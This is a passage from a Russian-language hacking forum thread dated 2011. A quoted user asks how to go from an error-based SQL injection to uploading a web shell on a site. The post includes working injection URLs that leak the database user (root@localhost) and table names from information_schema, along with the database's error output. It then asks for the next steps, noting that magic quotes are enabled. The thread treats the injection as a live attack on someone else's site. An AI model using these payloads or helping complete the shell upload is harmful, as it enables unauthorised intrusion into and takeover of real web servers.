20.09.2011, 13:01
|
|
Постоянный
Регистрация: 17.09.2011
Сообщений: 390
Провел на форуме:
107835
Репутация:
23
|
|
Сообщение от fl00der
Привет, есть вопрос по заливке шелла через error based sqli.
Допустим есть запрос вида:
Код:
index.php?id=1+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat((SELECT+USER()),floor(rand(0)*2)))+--+
Код:
Duplicate entry 'root@localhost1' for key 1
Так вывожу имена таблиц:
Код:
Код:
?id=1+or+(select+count(*)+from+(select+1+ union+select+2+union+select+3)x+group+by+concat((SELECT+TABLE_NAME+FROM+information_schema.tables+LIMIT+0,1),floor(rand(0)*2)))+--+
Путь известен.
Как действовать дальше?
Да чуть не забыл, соль в том, что mq=on. Я на 100% не уверен, если mq=on, залить шелл не удастся
|
|
|